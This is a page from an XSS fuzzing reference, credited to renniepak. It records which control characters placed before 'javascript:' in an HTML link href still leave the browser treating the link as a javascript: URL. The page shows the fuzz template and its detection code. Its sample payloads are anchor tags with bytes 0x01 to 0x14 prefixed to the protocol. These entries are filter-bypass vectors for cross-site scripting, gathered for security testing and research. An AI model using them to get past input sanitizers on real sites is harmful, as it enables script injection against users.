Characters that can precede the javascript protocol

Characters that can precede the javascript protocol in html

Created by: renniepak

Created on: Wednesday, April 10, 2024 at 8:51:01 AM

Updated on: Wednesday, May 28, 2025 at 5:06:20 PM

Category: URL Handling

Vector visibility: Public

Vector type: XSS

Vector charset: UTF-8

Template used:

<a href="$[chr]javascript:test.com/" id="test"></a>

Code used after fuzz:

if(document.getElementById("test").protocol=="javascript:"){log($[i])}

Your browser was detected as:

Detecting... Detecting... Detecting... Detecting...

Sample payloads

<a href="0x01javascript:test.com/" id="test"></a>

<a href="0x02javascript:test.com/" id="test"></a>

<a href="0x03javascript:test.com/" id="test"></a>

<a href="0x04javascript:test.com/" id="test"></a>

<a href="0x05javascript:test.com/" id="test"></a>

<a href="0x06javascript:test.com/" id="test"></a>

<a href="0x07javascript:test.com/" id="test"></a>

<a href="0x08javascript:test.com/" id="test"></a>

<a href="0x09javascript:test.com/" id="test"></a>

<a href="
javascript:test.com/" id="test"></a>

<a href="0x0Bjavascript:test.com/" id="test"></a>

<a href="0x0Cjavascript:test.com/" id="test"></a>

<a href="0x0Djavascript:test.com/" id="test"></a>

<a href="0x0Ejavascript:test.com/" id="test"></a>

<a href="0x0Fjavascript:test.com/" id="test"></a>

<a href="0x10javascript:test.com/" id="test"></a>

<a href="0x11javascript:test.com/" id="test"></a>

<a href="0x12javascript:test.com/" id="test"></a>

<a href="0x13javascript:test.com/" id="test"></a>

<a href="0x14javascript:test.com/" id="test"></a>